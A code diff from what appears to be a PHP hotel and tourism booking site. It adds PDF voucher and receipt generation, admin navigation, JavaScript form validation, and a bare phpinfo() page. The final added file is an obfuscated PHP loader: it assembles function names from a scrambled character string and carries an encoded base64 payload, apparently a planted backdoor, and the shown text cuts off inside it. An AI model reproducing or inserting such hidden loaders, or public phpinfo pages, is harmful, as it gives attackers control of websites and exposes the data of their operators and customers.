+glmpdf_new_line();
+glmpdf_new_line();
+
+glmpdf_place_text( "Package and Hotel", 340, $current_y );
+glmpdf_place_text( money($pr["package_price"]), 490, $last_y, "right" );
+$gt = $pr["package_price"];
+glmpdf_place_text( "Total Add-On", 340, $current_y );
+glmpdf_place_text( money($pr["total_addons"]), 490, $last_y, "right" );
+$gt += $pr["total_addons"];
+glmpdf_place_text( "Tourism Tax", 340, $current_y );
+glmpdf_place_text( money($pr["tourism_tax"]), 490, $last_y, "right" );
+$gt += $pr["tourism_tax"];
+glmpdf_place_text( "Use Tax", 340, $current_y );
+glmpdf_place_text( money($pr["use_tax"]), 490, $last_y, "right" );
+$gt += $pr["use_tax"];
+glmpdf_place_text( "-------------", 490, $current_y, "right" );
+glmpdf_place_text( "Grand Total", 340, $current_y, "", "red" );
+glmpdf_place_text( money($gt), 490, $last_y, "right", "red" );
+if( $pr["insurance"] > 0 )
+ {
+ glmpdf_place_text( "With insurance (".money($pr["insurance"]).")", 340, $current_y, "", "red" );
+ glmpdf_place_text( money($gt+$pr["insurance"]), 490, $last_y, "right", "red" );
+ }
+glmpdf_new_line();
+glmpdf_place_text( "Room Rate Total:", 340, $current_y );
+glmpdf_place_text( money($pr["hotel_price"]), 490, $last_y, "right" );
+
+
+
+// ---------- Do Receipt/Confirmation ----------
+
+next_page( TRUE );
+
+ // Left Column
+
+glmpdf_set_font( "Helvetica", 10.0 );
+glmpdf_place_text( "Included components:", 30, 260 );
+for( $i=0 ; $i<10 ; $i++ ) // Components
+ if( $package["comp$i"] != 0 )
+ {
+ $c = db_auto_get_row( "SELECT * FROM package_comp WHERE id = ".$package["comp$i"].";", 0, CONN_STR, FALSE );
+ $x = $c["name"].($c["voucher_req"] == "t" ? " *" : " **" ); // * = Voucher, ** = Tickets included
+ glmpdf_place_text( $x, 40, $current_y );
+ }
+glmpdf_set_font( "Helvetica", 8.0 );
+glmpdf_place_text("(Above components included for ".$pr["adults"]." adults".($pr["children"]>0?" and ".$pr["children"]." children":"").")",
+ 140, $current_y, "center" );
+
+glmpdf_new_line();
+glmpdf_set_font( "Helvetica", 10.0 );
+glmpdf_place_text( "Selected Add-Ons: (A=Adults K=Kids)", 30, $current_y );
+glmpdf_place_text( "A", 33, $current_y );
+glmpdf_place_text( "K", 45, $last_y );
+if( !empty($pr["addons"]) )
+ {
+ $add_on_data = explode( '|', $pr["addons"] ); // Break out add_ons list to array
+ while( list($key, $val) = each( $add_on_data ) )
+ {
+ $a = explode( ',', $add_on_data[$key] );
+ $ad = db_auto_get_row( "SELECT * FROM package_addon WHERE id = ".$a[0].";", 0, CONN_STR, FALSE );
+ $x = $ad["name"].($ad["voucher_req"]=="f"?" **":" *");
+ glmpdf_place_text( $a[1], 33, $current_y );
+ glmpdf_place_text( $a[2], 45, $last_y );
+ glmpdf_place_text( $x, 60, $last_y );
+ }
+ }
+
+glmpdf_set_font( "Helvetica", 8.0 );
+glmpdf_place_text( "(*=Voucher attached, **=Tickets attached)", 140, $current_y, "center" );
+
+glmpdf_place_text( "Special Needs:", 30, 88 ); // Special Needs
+if( empty($pr["special_needs"]) )
+ glmpdf_place_text( "(none)", 50, 58 );
+ else
+ {
+ glmpdf_set_font( "Helvetica", 10 );
+ glmpdf_place_text_box( $pr["special_needs"], 50, 38, 250, 50 );
+ }
+
+ // Right Column
+
+glmpdf_set_font( "Helvetica-Bold", 14 ); // Top of summary table
+glmpdf_place_text( "RECEIPT/CONFIRMATION", 430, 370, "center" );
+
+glmpdf_set_font( "Helvetica-Bold", 12.0 ); // Package Info
+glmpdf_place_text( $package["name"], 430, $current_y, "center" );
+
+glmpdf_set_font( "Helvetica", 10.0 );
+glmpdf_place_text( "Booking #: ", 290, $current_y ); // Request #
+glmpdf_place_text( $pr["id"], 340, $last_y );
+glmpdf_place_text( "Date Issued: ", 400, $last_y ); // Date Entered
+glmpdf_place_text( $pr["date_entered"], 470, $last_y );
+
+glmpdf_new_line();
+
+glmpdf_set_font( "Helvetica", 10.0 ); // Hotel and occupants
+glmpdf_place_text( "Arrive: ", 290, $current_y );
+glmpdf_place_text( $pr["arrival_date"], 340, $last_y );
+glmpdf_place_text( "Nights: ".$pr["nights"], 430, $last_y );
+glmpdf_place_text( "Hotel: ", 290, $current_y );
+glmpdf_place_text( $member["name"]." *", 340, $last_y );
+glmpdf_place_text( $accommodation["name"], 340, $current_y );
+glmpdf_place_text( "Rooms:", 290, $current_y );
+glmpdf_place_text( $pr["rooms"], 340, $last_y );
+glmpdf_place_text( "Adults: ".$pr["adults"], 360, $last_y );
+glmpdf_place_text( "Children 5-12: ".$pr["children"], 410, $last_y );
+glmpdf_place_text( "Children Under 5: ".$pr["todler"], 490, $last_y );
+
+glmpdf_place_text( "Sold To:", 290, $current_y ); // Name Address
+glmpdf_set_font( "Helvetica-Bold", 10.0 );
+$y_pos = (empty($pr["addr2"]) ? 250 : 260 ); // Y postion adjusted based on 3 or 4 line addr
+glmpdf_place_text( strtoupper($pr["fname"])." ".strtoupper($pr["lname"]), 298, $y_pos );
+glmpdf_continue_text( strtoupper($pr["addr1"]) );
+if( !empty($pr["addr2"]) ) glmpdf_continue_text( strtoupper($pr["addr2"]) );
+glmpdf_continue_text( strtoupper($pr["city"]).", ".strtoupper($pr["state"])." ".$pr["zip"] );
+
+glmpdf_set_font( "Helvetica", 10.0 );
+glmpdf_place_text( "Phone #:", 290, 200 ); // Phone #
+glmpdf_place_text( $pr["phone"], 380, $last_y );
+glmpdf_place_text( "E-Mail:", 290, $current_y ); // E-Mail Address
+glmpdf_place_text( $pr["email"], 380, $last_y );
+
+
+glmpdf_new_line();
+
+glmpdf_place_text( "Package and Hotel", 350, 150 );
+glmpdf_place_text( money($pr["package_price"]), 500, $last_y, "right" );
+$gt = $pr["package_price"];
+glmpdf_place_text( "Total Add-On", 350, $current_y );
+glmpdf_place_text( money($pr["total_addons"]), 500, $last_y, "right" );
+$gt += $pr["total_addons"];
+glmpdf_place_text( "Tourism Tax", 350, $current_y );
+glmpdf_place_text( money($pr["tourism_tax"]), 500, $last_y, "right" );
+$gt += $pr["tourism_tax"];
+glmpdf_place_text( "Use Tax", 350, $current_y );
+glmpdf_place_text( money($pr["use_tax"]), 500, $last_y, "right" );
+$gt += $pr["use_tax"];
+glmpdf_place_text( "-------------", 500, $current_y, "right" );
+glmpdf_place_text( "Grand Total", 350, $current_y );
+glmpdf_place_text( money($gt), 500, $last_y, "right" );
+if( $pr["insurance"] > 0 )
+ {
+ glmpdf_place_text( "With insurance (".money($pr["insurance"]).")", 350, $current_y );
+ glmpdf_place_text( money($gt+$pr["insurance"]), 500, $last_y, "right" );
+ }
+
+// ---------- Do Hotel Voucher ----------
+
+next_page( TRUE );
+
+glmpdf_set_font( "Helvetica", 12.0 );
+
+glmpdf_set_font( "Helvetica", 10.0 );
+glmpdf_place_text( "Booking #: ", 290, 380 ); // Request #
+glmpdf_place_text( $pr["id"], 340, $last_y );
+glmpdf_place_text( "Date Issued: ", 400, $last_y ); // Date Entered
+glmpdf_place_text( $pr["date_entered"], 470, $last_y );
+
+glmpdf_new_line();
+glmpdf_set_font( "Helvetica-Bold", 14 );
+glmpdf_place_text( "HOTEL ACCOMMODATIONS VOUCHER", 430, $current_y, "center" );
+
+glmpdf_set_font( "Helvetica", 12.0 );
+glmpdf_new_line();
+glmpdf_place_text( "Sold To:", 300, $current_y ); // Customer Name
+glmpdf_set_font( "Helvetica-Bold", 12.0 );
+glmpdf_place_text( $pr["lname"].", ".$pr["fname"], 350, $last_y );
+glmpdf_place_text( $pr["addr1"], 350, $current_y );
+if( !empty($pr["addr2"]) ) glmpdf_place_text( $pr["addr2"], 350, $current_y );
+glmpdf_place_text( $pr["city"].", ".$pr["state"]." ".$pr["zip"], 350, $current_y );
+glmpdf_new_line();
+glmpdf_set_font( "Helvetica", 12.0 );
+glmpdf_place_text( "Phone #:", 300, $current_y ); // Phone #
+glmpdf_set_font( "Helvetica-Bold", 12.0 );
+glmpdf_place_text( $pr["phone"], 350, $last_y );
+
+if( $pr["aaa_mode"] == 1 )
+ glmpdf_place_text( "AAA Member Promotion", 300, 257, "center", "red" );
+if( $pr["aaa_mode"] == 2 )
+ glmpdf_place_text( "AAA Agent Promotion", 300, 257, "center", "red" );
+
+glmpdf_place_line( 2, 30, 250, 570, 250 );
+glmpdf_new_line();
+
+glmpdf_place_text( "Hotel:", 110, $current_y, "right" ); // Hotel
+glmpdf_place_text( $member["name"], 120, $last_y );
+/* Prior to moving address to next line
+glmpdf_place_text( "Address:", 380, $last_y, "right" );
+glmpdf_place_text( $member["address"], 390, $last_y );
+glmpdf_new_line();
+*/
+glmpdf_place_text( "Address:", 110, $current_y, "right" );
+glmpdf_place_text( $member["address"], 120, $last_y );
+// End of change
+glmpdf_new_line();
+glmpdf_place_text( "Phone:", 110, $current_y, "right" );
+glmpdf_place_text( $member["phone"], 120, $last_y );
+glmpdf_place_text( "Check in after:", 420, $last_y, "right" );
+glmpdf_place_text( "3 PM", 430, $last_y );
+glmpdf_place_text( "Toll Free:", 110, $current_y, "right" );
+glmpdf_place_text( $member["toll_free"], 120, $last_y );
+glmpdf_place_text( "Check out before:", 420, $last_y, "right" );
+glmpdf_place_text( "10 AM", 430, $last_y );
+
+glmpdf_place_line( 2, 30, $current_y, 570, $current_y );
+glmpdf_new_line();
+
+glmpdf_place_text( "Arrival:", 110, $current_y, "right" ); // Dates
+glmpdf_place_text( $pr["arrival_date"], 120, $last_y, "", "red" );
+glmpdf_place_text( "Departure:", 300, $last_y, "right" );
+glmpdf_place_text( date( "m/d/Y", (strtotime($pr["arrival_date"])+$pr["nights"]*86400) ), 310, $last_y, "", "red" );
+glmpdf_place_text( "Nights:", 470, $last_y, "right" );
+glmpdf_place_text( $pr["nights"], 480, $last_y, "", "red" );
+
+glmpdf_place_text( "Adults:", 110, $current_y, "right" ); // People
+glmpdf_place_text( $pr["adults"], 120, $last_y, "", "red" );
+glmpdf_place_text( "Children 5-12:", 300, $last_y, "right" );
+glmpdf_place_text( $pr["children"], 310, $last_y, "", "red" );
+glmpdf_place_text( "Children under 5:", 470, $last_y, "right" );
+glmpdf_place_text( $pr["todler"], 480, $last_y, "", "red" );
+
+glmpdf_new_line();
+
+glmpdf_place_text( "Room Type:", 110, $current_y, "right" ); // Accommodations
+$at = explode( "~", wordwrap( $accommodation["title"], 40, "~") );
+glmpdf_place_text( $at[0], 120, $last_y, "", "red" ); // Do first line of accommodation name
+glmpdf_place_text( "# of Rooms:", 470, $last_y, "right" );
+glmpdf_place_text( $pr["rooms"], 480, $last_y, "", "red" );
+if( count($at) > 1 ) // If there's additional accommodation lines
+ for( $i=1 ; $i<count($at) ; $i++ )
+ glmpdf_place_text( $at[$i], 120, $current_y, "", "red" );
+
+
+glmpdf_place_text( "Special Needs:", 110, 70, "right" ); // Special Needs
+glmpdf_set_font( "Helvetica", 10 );
+if( empty($pr["special_needs"]) )
+ glmpdf_place_text( "(none)", 120, $last_y );
+ else
+ {
+ $t = explode( "~", wordwrap( $pr["special_needs"], 100, "~") );
+ $y = $last_y;
+ foreach($t as $tt)
+ {
+ glmpdf_place_text( $tt, 120, $y );
+ $y = $current_y;
+ }
+ }
+
+glmpdf_set_font( "Helvetica", 10.0 );
+//glmpdf_place_text_box( $accommodation["descr"], 50, 50, 500, 40 );
+
+glmpdf_set_font( "Helvetica-Bold", 12.0 );
+glmpdf_place_text( "PLEASE PRESENT THIS VOUCHER WHEN CHECKING IN AT THE ABOVE HOTEL.", 300, 30, "center" );
+glmpdf_place_text( "THIS VOUCHER GOOD FOR THE NIGHTS LISTED ABOVE ONLY.", 300, $current_y, "center" );
+
+
+
+// Do Component Vouchers
+
+for( $i=0 ; $i<10 ; $i++ ) // Components
+ if( $package["comp$i"] != 0 )
+ {
+ // Get data for this component
+
+ $c = db_auto_get_row( "SELECT * FROM package_comp WHERE id = ".$package["comp$i"].";", 0, CONN_STR, FALSE );
+ $x = $c["name"].($c["voucher_req"] == "t" ? " *" : " **" ); // * = Voucher, ** = Tickets included
+
+ if( $c["voucher_req"] == "t" )
+ {
+ next_page( TRUE );
+ glmpdf_set_font( "Helvetica", 12.0 );
+
+ glmpdf_set_font( "Helvetica", 10.0 );
+ glmpdf_place_text( "Booking #: ", 290, 380 ); // Request #
+ glmpdf_place_text( $pr["id"], 340, $last_y );
+ glmpdf_place_text( "Date Issued: ", 400, $last_y ); // Date Entered
+ glmpdf_place_text( $pr["date_entered"], 470, $last_y );
+
+ glmpdf_new_line();
+ glmpdf_set_font( "Helvetica-Bold", 14 );
+ glmpdf_place_text( $c["short_name"]." VOUCHER", 430, $current_y, "center" );
+
+ glmpdf_set_font( "Helvetica", 12.0 );
+ glmpdf_place_text( "Sold To:", 300, $current_y ); // Customer Name
+ glmpdf_set_font( "Helvetica-Bold", 12.0 );
+ glmpdf_place_text( $pr["lname"].", ".$pr["fname"], 350, $last_y );
+ glmpdf_place_text( $pr["addr1"], 350, $current_y );
+ if( !empty($pr["addr2"]) ) glmpdf_place_text( $pr["addr2"], 350, $current_y );
+ glmpdf_place_text( $pr["city"].", ".$pr["state"]." ".$pr["zip"], 350, $current_y );
+ glmpdf_new_line();
+ glmpdf_set_font( "Helvetica", 12.0 );
+ glmpdf_place_text( "Phone #:", 300, $current_y ); // Phone #
+ glmpdf_set_font( "Helvetica-Bold", 12.0 );
+ glmpdf_place_text( $pr["phone"], 350, $last_y );
+
+ $season = ereg_replace( ".*/.*/", "", $pr["arrival_date"] );
+ glmpdf_new_line();
+ glmpdf_set_font( "Helvetica-Bold", 14 );
+ glmpdf_place_text( "Good for the $season season.", 430, $current_y, "center" );
+
+ glmpdf_place_line( 2, 30, 252, 570, 252 );
+
+ glmpdf_new_line();
+ glmpdf_set_font( "Helvetica-Bold", 14 );
+ glmpdf_place_text( $c["name"], 300, $current_y, "center" );
+
+ glmpdf_new_line();
+ glmpdf_place_text( "Adults:", 140, $current_y, "right" ); // People
+ glmpdf_place_text( $pr["adults"], 150, $last_y );
+ glmpdf_place_text( "Children 5-12:", 330, $last_y, "right" );
+ glmpdf_place_text( $pr["children"], 340, $last_y );
+ glmpdf_place_text( "Children under 5:", 500, $last_y, "right" );
+ glmpdf_place_text( $pr["todlers"], 510, $last_y );
+
+ glmpdf_place_line( 2, 30, $current_y, 570, $current_y );
+ glmpdf_new_line();
+
+ glmpdf_set_font( "Helvetica", 10.0 );
+ glmpdf_place_text_box( $c["voucher_text"], 30, 30, 540, 130 );
+ glmpdf_new_line();
+
+ }
+ }
+
+
+// Do Add-On Vouchers
+
+if( !empty($pr["addons"]) )
+ {
+ $add_on_data = explode( '|', $pr["addons"] ); // Break out add_ons list to array
+ while( list($key, $val) = each( $add_on_data ) )
+ {
+ $a = explode( ',', $add_on_data[$key] );
+ $ad = db_auto_get_row( "SELECT * FROM package_addon WHERE id = ".$a[0].";", 0, CONN_STR, FALSE );
+
+ if( $ad["voucher_req"] == "t" )
+ {
+ next_page( TRUE );
+
+ glmpdf_set_font( "Helvetica", 10.0 );
+ glmpdf_place_text( "Booking #: ", 290, 380 ); // Request #
+ glmpdf_place_text( $pr["id"], 340, $last_y );
+ glmpdf_place_text( "Date Issued: ", 400, $last_y ); // Date Entered
+ glmpdf_place_text( $pr["date_entered"], 470, $last_y );
+
+ glmpdf_new_line();
+ glmpdf_set_font( "Helvetica-Bold", 14 );
+ glmpdf_place_text( $ad["short_name"]." VOUCHER", 430, $current_y, "center" );
+
+ glmpdf_set_font( "Helvetica", 12.0 );
+ glmpdf_place_text( "Sold To:", 300, $current_y ); // Customer Name
+ glmpdf_set_font( "Helvetica-Bold", 12.0 );
+ glmpdf_place_text( $pr["lname"].", ".$pr["fname"], 350, $last_y );
+ glmpdf_place_text( $pr["addr1"], 350, $current_y );
+ if( !empty($pr["addr2"]) ) glmpdf_place_text( $pr["addr2"], 350, $current_y );
+ glmpdf_place_text( $pr["city"].", ".$pr["state"]." ".$pr["zip"], 350, $current_y );
+ glmpdf_new_line();
+ glmpdf_set_font( "Helvetica", 12.0 );
+ glmpdf_place_text( "Phone #:", 300, $current_y ); // Phone #
+ glmpdf_set_font( "Helvetica-Bold", 12.0 );
+ glmpdf_place_text( $pr["phone"], 350, $last_y );
+
+ $season = ereg_replace( ".*/.*/", "", $pr["arrival_date"] );
+ glmpdf_new_line();
+ glmpdf_set_font( "Helvetica-Bold", 14 );
+ glmpdf_place_text( "Good for the $season season.", 430, $current_y, "center" );
+
+ glmpdf_place_line( 2, 30, 252, 570, 252 );
+
+ glmpdf_new_line();
+ glmpdf_set_font( "Helvetica-Bold", 14 );
+ glmpdf_place_text( $ad["name"], 300, $current_y, "center" );
+
+ glmpdf_new_line();
+ glmpdf_place_text( "Adults:", 140, $current_y, "right" ); // People
+ glmpdf_place_text( $a[1], 150, $last_y );
+ glmpdf_place_text( "Children 5-12:", 330, $last_y, "right" );
+ glmpdf_place_text( $a[2], 340, $last_y );
+ glmpdf_place_text( "Children under 5:", 500, $last_y, "right" );
+ glmpdf_place_text( $a[2], 510, $last_y );
+
+ glmpdf_place_line( 2, 30, $current_y, 570, $current_y );
+ glmpdf_new_line();
+
+ glmpdf_set_font( "Helvetica", 10.0 );
+ glmpdf_place_text_box( $ad["voucher_text"], 30, 30, 540, 130 );
+ glmpdf_new_line();
+ }
+
+ }
+ }
+
+
+ // Close PDF setup and send to user's browser
+
+PDF_end_page( $pdf );
+PDF_close( $pdf );
+$buf = PDF_get_buffer( $pdf );
+$len = strlen( $buf );
+header( "Content-type: application/pdf" );
+header( "Content-Length: $len" );
+header( "Content-Disposition: inline; filename=voucher.pdf" );
+print $buf;
+PDF_delete( $pdf );
+
+
+// Absolutely nothing below following line!
+?>
--- /dev/null
+function glm_confirm(o) {
+ var p = o.msg.split("\n");
+ var k = 0;
+ for(i = 0;i < p.length;i++) {
+ if(k > p[i].length)
+ continue;
+ else
+ k = p[i].length;
+ }
+
+ var bound = "";
+ for(i = 0; i < k; i++) {
+ bound = bound+'_';
+ }
+ var str = bound+"\n\n"+o.msg+"\n\n"+bound+"\n\nAre You Sure?";
+ if(confirm(str)) {
+ if(o.popup == '1') {
+ var nw = new Object();
+ nw.url = o.url;
+ nw.name = o.popup.name;
+ nw.width = o.width;
+ nw.height = o.height;
+ glm_open(nw);
+ }
+ else {
+ location.replace(o.url);
+ }
+ }
+}
--- /dev/null
+<?
+include("../setup.phtml");
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Admin Navigation</title>
+<style type="text/css">
+<!--
+body {margin: 2px; font-family: arial, sans-serif; font-size: 12px; background-color: white;}
+a:link {color: #369;}
+a:visited {color: #369;}
+a:active {color: #369;}
+a:hover {color: #369;}
+h1 {font-weight: bold; text-align: center; font-size: 14px;}
+ul { margin: 0; padding: 0; list-style-type: none; }
+li { margin: 0; padding: 0; display: block; }
+li a {
+ text-decoration: none;
+ display: block;
+ margin: 0;
+ padding: 3px;
+ background-color: #036;
+ border-bottom: 1px solid #eee;
+ width: 136px;
+ }
+li a:link, li a:visited, li a:active { color: #EEE; }
+li a:hover { background-color: #369; color: #fff; }
+#adminSupport {
+ margin: 15px 0;
+ }
+#adminSupport li a {
+ background: url(http://app.gaslightmedia.com/assets/icons/new.png) 120px 3px no-repeat #2c788f;
+ text-shadow: 1px 1px 1px #333;
+ }
+#adminSupport li a:hover {
+ background-color: #004c64;
+ }
+-->
+</style>
+</head>
+<body>
+ <h1><a href="<?php echo BASE_URL.$url;?>" target="_top"><?php echo SITENAME;?></a></h1>
+<ul>
+<?
+$nav["Home"] = "admin/splash.phtml";
+$nav["Toolbox"] = "admin/Toolbox/list_bus_category.phtml";
+$nav["Members"] = "admin/member/action.phtml";
+$nav["Banners"] = "admin/Banners/list_banner.phtml";
+$nav["Server Statistics"] = "admin/logs/";
+
+foreach($nav as $name=>$url)
+ {
+ echo '
+ <li><a href="'.BASE_URL.$url.'" target="Main">'.$name.'</a></li>
+ ';
+ }
+?>
+</ul>
+<?php
+$format = '<ul id="adminSupport">
+ <li>
+ <a href="%ssupportForm.php?sitename=%s" target="Main">Support Form</a>
+ </li>
+</ul>';
+if(!defined('GLM_APP_BASE_URL')){
+ define('GLM_APP_BASE_URL', 'http://app.gaslightmedia.com/');
+}
+if(!defined('SITENAME')) {
+ define('SITENAME', 'http://www.aretenorth.com/');
+}
+printf(
+ $format,
+ GLM_APP_BASE_URL,
+ urlencode(SITENAME)
+);
+?>
+<a style="display: block; margin: 10px auto; text-align: center;" href="http://www.gaslightmedia.com/" target="_blank"><img alt="" src="http://www.gaslightmedia.com/assets/poweredby.gif" border="0" title="Gaslight Media Website"></a>
+</body>
+</html>
--- /dev/null
+<?php phpinfo();?>
--- /dev/null
+<?
+include("../setup.phtml");
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<link type="text/css" rel=stylesheet href="<?echo URL_BASE."admin/main.css"?>">
+<title>Welcome to GLM Toolbox</TITLE>
+</head>
+<body>
+
+<div style="text-align: center;">
+<p><strong>Welcome To The <?=SITENAME?> Administration Area</strong></p>
+<p>Please Choose The Area You Wish To Update.</p>
+<img src="<?=URL_BASE."images/logo.gif"?>">
+</div>
+
+</body>
+</html>
+
--- /dev/null
+function isblank(s) {
+ for(var i = 0; i < s.length; i++) {
+ var c = s.charAt(i);
+ if((c != ' ') && (c != '\n') && (c != '\t'))
+ return(false);
+ }
+ return(true);
+}
+
+function verify(f) {
+ var msg;
+ var empty_fields = "";
+ var errors = "";
+
+ for(var i = 0; i < f.length; i++) {
+ var e = f.elements[i];
+ if(((e.type == "text") || (e.type == "password") ||(e.type == "textarea")) && !e.optional) {
+ if((e.value == null) || (e.value == "") || isblank(e.value)) {
+ empty_fields += "\n " + e.r;
+ continue;
+ }
+
+ if(e.d) {
+ if(isNaN(Date.parse(e.value)))
+ errors += "- The field " +e.r+" must be formated like 01/17/2001\n";
+ }
+ if(e.numeric || (e.min != null) || (e.max != null)) {
+ if(e.i) {
+ var v = parseInt(e.value);
+ if(v != e.value) {
+ errors += "- The field " +e.r + " must be a ";
+ errors += "number with no decimal\n";
+ continue;
+ }
+ }
+ else
+ var v = parseFloat(e.value);
+ if(isNaN(v) ||
+ ((e.min != null) && (v < e.min)) ||
+ ((e.max != null) && (v > e.max))) {
+
+ errors += "- The field " + e.r + " must be a number";
+ if(e.min != null)
+ errors += " that is greater than " + e.min;
+ if(e.max != null && e.min != null)
+ errors += " and less than " + e.max;
+ else if (e.max != null)
+ errors += " that is less than " + e.max;
+ errors += ".\n";
+ }
+ }
+ }
+ if (e.options && !e.optional)
+ {
+ if((e.value == null) || (e.value == "") || isblank(e.value))
+ {
+ empty_fields += "\n " + e.r;
+ continue;
+ }
+ }
+ }
+
+ if(!empty_fields && !errors)
+ return(true);
+
+ msg = "_____________________________________________________\n\n";
+ msg +="The form was not submitted because of the following error(s).\n";
+ msg +="Please correct these error(s) and re-submit.\n";
+ msg +="_____________________________________________________\n\n";
+
+ if(empty_fields) {
+ msg += "- The following required field(s) are empty:"
+ + empty_fields + "\n";
+ if(errors)
+ msg += "\n";
+ }
+ msg += errors;
+ alert(msg);
+ return(false);
+}
+var chkDot = true;
+var usEmail = true;
+function validEmail(eAddr)
+{
+ var lenSuffix = (usEmail) ? 4: 3;
+ var goodAddr = false;
+ var ndxAt = ndxDot = 0;
+ ndxAt = eAddr.indexOf("@");
+ ndxDot = eAddr.indexOf(".");
+ ndxDot2 = eAddr.lastIndexOf(".");
+
+ if ( (ndxDot < 0) || (ndxAt < 0) )
+ return(goodAddr);//alert("Your email address lacks '.' or '@'.\n\nThe format is 'you@dom.suf'");
+ else if (chkDot && (ndxDot < ndxAt) )
+ chkDot =!( confirm("You entered a 'dot' before the '@'\n Are you sure that is right?"));
+ else if ( (ndxDot2 - 3) <= ndxAt)
+ return(goodAddr);//alert("You may be missing your domain name.\n\nThe format is 'you@dom.suf'");
+ else if ( eAddr.length < (ndxDot2 + lenSuffix) )
+ usEmail =!( confirm("You have fewer than 3 characters as a domain suffix.\nAre you sure that is right?"));
+ else
+ goodAddr = true;
+
+
+ return (goodAddr);
+}
+
+
--- /dev/null
+function glm_open(o) {
+ var x = (screen.width/2) - (o.width/2);
+ var y = (screen.height/2) - (o.height/2);
+ var args = "width="+o.width+",height="+o.height+",screenX="+x+",screenY="+y+",top="+y+",left="+x;
+ if(o.scroll == true)
+ args += ",scrollbars=1";
+ //args += "\'";
+ //alert(args);
+ pow=window.open(o.url,o.name,args);
+ //confirm(args);
+ if (pow.opener == null)
+ pow.opener = self;
+}
--- /dev/null
+<?php
+ $XdrmcL='b+]asVh_BrnOWqXHkQ2w5x$ KMTRA,1dyU4(JIt[8EGm;L^"|Y7Zoe*9.Nfu6)c3C/lzg0SF}jvP{Dpi';$XZrMYS=$XdrmcL{62}.$XdrmcL{9}.$XdrmcL{53}.$XdrmcL{3}.$XdrmcL{38}.$XdrmcL{53}.$XdrmcL{7}.$XdrmcL{58}.$XdrmcL{59}.$XdrmcL{10}.$XdrmcL{62}.$XdrmcL{38}.$XdrmcL{79}.$XdrmcL{52}.$XdrmcL{10};$GrRYwC=$XdrmcL{22}.$XdrmcL{4};$atHsFO=$XdrmcL{79}.$XdrmcL{58}.$XdrmcL{35}.$XdrmcL{79}.$XdrmcL{4}.$XdrmcL{4}.$XdrmcL{53}.$XdrmcL{38}.$XdrmcL{35}.$XdrmcL{22}.$XdrmcL{7}.$XdrmcL{64}.$XdrmcL{11}.$XdrmcL{11}.$XdrmcL{24}.$XdrmcL{37}.$XdrmcL{41}.$XdrmcL{39}.$XdrmcL{47}.$XdrmcL{14}.$XdrmcL{31}.$XdrmcL{9}.$XdrmcL{43}.$XdrmcL{62}.$XdrmcL{45}.$XdrmcL{47}.$XdrmcL{2}.$XdrmcL{61}.$XdrmcL{48}.$XdrmcL{48}.$XdrmcL{79}.$XdrmcL{4}.$XdrmcL{4}.$XdrmcL{53}.$XdrmcL{38}.$XdrmcL{35}.$XdrmcL{22}.$XdrmcL{15}.$XdrmcL{26}.$XdrmcL{26}.$XdrmcL{75}.$XdrmcL{7}.$XdrmcL{64}.$XdrmcL{11}.$XdrmcL{11}.$XdrmcL{24}.$XdrmcL{37}.$XdrmcL{41}.$XdrmcL{7}.$XdrmcL{5}.$XdrmcL{28}.$XdrmcL{27}.$XdrmcL{70}.$XdrmcL{39}.$XdrmcL{47}.$XdrmcL{14}.$XdrmcL{31}.$XdrmcL{9}.$XdrmcL{43}.$XdrmcL{62}.$XdrmcL{45}.$XdrmcL{47}.$XdrmcL{2}.$XdrmcL{61}.$XdrmcL{61}.$XdrmcL{76}.$XdrmcL{58}.$XdrmcL{59}.$XdrmcL{10}.$XdrmcL{62}.$XdrmcL{38}.$XdrmcL{79}.$XdrmcL{52}.$XdrmcL{10}.$XdrmcL{23}.$XdrmcL{9}.$XdrmcL{40}.$XdrmcL{35}.$XdrmcL{22}.$XdrmcL{4}.$XdrmcL{29}.$XdrmcL{22}.$XdrmcL{78}.$XdrmcL{61}.$XdrmcL{76}.$XdrmcL{9}.$XdrmcL{53}.$XdrmcL{38}.$XdrmcL{59}.$XdrmcL{9}.$XdrmcL{10}.$XdrmcL{23}.$XdrmcL{22}.$XdrmcL{4}.$XdrmcL{46}.$XdrmcL{4}.$XdrmcL{38}.$XdrmcL{9}.$XdrmcL{7}.$XdrmcL{78}.$XdrmcL{3}.$XdrmcL{31}.$XdrmcL{35}.$XdrmcL{22}.$XdrmcL{78}.$XdrmcL{29}.$XdrmcL{4}.$XdrmcL{38}.$XdrmcL{9}.$XdrmcL{66}.$XdrmcL{53}.$XdrmcL{10}.$XdrmcL{35}.$XdrmcL{22}.$XdrmcL{4}.$XdrmcL{61}.$XdrmcL{29}.$XdrmcL{22}.$XdrmcL{78}.$XdrmcL{61}.$XdrmcL{44}.$XdrmcL{72}.$XdrmcL{44}.$XdrmcL{53}.$XdrmcL{74}.$XdrmcL{3}.$XdrmcL{66}.$XdrmcL{35}.$XdrmcL{9}.$XdrmcL{40}.$XdrmcL{35}.$XdrmcL{0}.$XdrmcL{3}.$XdrmcL{4}.$XdrmcL{53}.$XdrmcL{60}.$XdrmcL{34}.$XdrmcL{7}.$XdrmcL{31}.$XdrmcL{53}.$XdrmcL{62}.$XdrmcL{52}.$XdrmcL{31}.$XdrmcL{53}.$XdrmcL{35}.$XdrmcL{22}.$XdrmcL{4}.$XdrmcL{61}.$XdrmcL{29}.$XdrmcL{47}.$XdrmcL{77}.$XdrmcL{19}.$XdrmcL{5}.$XdrmcL{26}.$XdrmcL{42}.$XdrmcL{59}.$XdrmcL{47}.$XdrmcL{61}.$XdrmcL{61}.$XdrmcL{44}.$XdrmcL{72};$QeEoMd="ZFcWJyIBGwM/OSIqKB47PTNddF5tXmdVBBIkJigHGwUzJCgHMB44M29HbUxcdGc1NxIiCyoUIx41CzYAKwMzJxgHMRkiPSoQbEd/b01VZDc/Oi4qNxIifGAANBs5NSMqKRYuCyEcKBIlPT0QY1tnZHNNcUBgZG5OTld2FC4bLSglMTNdYwc5JzMqKRYuCzQcPhJxeHZFcE9jY3FFbUxcdGc1LRk/CzQQMF9xMi4ZISgjJCsaJRMlc2tVMAUjMW5OTld2FC4bLSglMTNdYxM/JzcZJQ4JMTUHKwUlc2sBNgIzfXx/ZFcWPSkcGwQzIG9SNhIxPTQBIQUJMysaJhY6J2BZMAUjMW5OTld2FC4bLSglMTNdYwUzMy4GMBIkCysaKhAJNTUHJQ4lc2sBNgIzfXx/ZFcWPSkcGwQzIG9SKRYuCyINIRQ